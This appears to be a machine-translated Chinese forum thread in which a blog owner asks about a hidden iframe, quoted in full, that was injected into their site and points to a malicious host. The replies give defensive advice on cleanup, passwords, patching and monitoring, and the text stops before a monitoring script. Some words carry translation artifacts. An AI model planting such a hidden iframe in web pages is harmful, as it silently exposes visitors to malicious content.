可能重复:
我的服务器被黑了应急
我有这个奇怪的页面,我很确定这不是我创build的:
<iframe src="http://a.bad.site:8080/ts/in.cgi?pepsi106" width=125 height=125 style="visibility: hidden"></iframe>
它来自哪里? 这是一个病毒吗?
我的博客网站blog.domain.com在几个星期前还好。 但是现在突然间,当我去看我的博客时,它变成了空白页面并显示:
This is index.html
任何人有任何想法如何永久删除它,并防止它再次发生在我的网站?
我已经看到了之前embedded的那种iframe。 有人已经明确劫持你的网页,并embedded链接。 删除所有可以find的引用,然后更改所有密码 。
Cheapo主机从不喜欢承认他们已经被黑客入侵,所以我不希望他们有太多的帮助
这是一个跨站点脚本(XSS)攻击 。 开始阅读他们。 有关于这类事情的一些很棒的屏幕录像/video也是如此。
现在的重点不是疏忽。 您的网站有一个弱点,必须find并修复。 不要责怪你的托pipe公司; 最有可能的是,你select一个糟糕的博客引擎是自己的错误,或者没有保持一个好的博客引擎与最新的安全补丁或发布最新。
另外:你似乎只知道“病毒”。 破解服务器与病毒无关。 这个问题是一个漏洞 。 老版本的wordpress确实有他们 – 最近是一个非常糟糕的,你应该升级到补丁。 您可能需要查看操作系统的自动安全更新,程序会通过电子邮件向您发送服务器中当前漏洞列表,和/或订阅CVE站点,以警告您所有最新的软件问题。
至less,如果你正在pipe理一个linux服务器/站点,订阅一些linuxpipe理站点,这篇文章发布了一些体面的文章,教你新的技能,并警告新的问题。 XSS已经有很长一段时间了。
除了Farseeker的build议外,请按照以下所有说明操作:
对于有障碍的audio, 这是一个文本版本的消息。
从目录索引中删除“index.html”文件。 这可能是你的主机切换索引优先…从index.php(例如)首先index.html。
由于其他人已经对你的小问题做了足够的了解,最重要的一点是要做一些学习,我不会重复他们的努力。 然而,我会补充说,你需要监视你的网站。 很明显,黑客可能在几个星期的任何时候都发生,但你并没有意识到这一点。
有很多方法可以自动监控网站的变化,你需要select一种方法来处理你的主机系统。 如果您遇到想法,我使用的方法是在本地计算机上运行的shell脚本,每天晚上执行以下操作: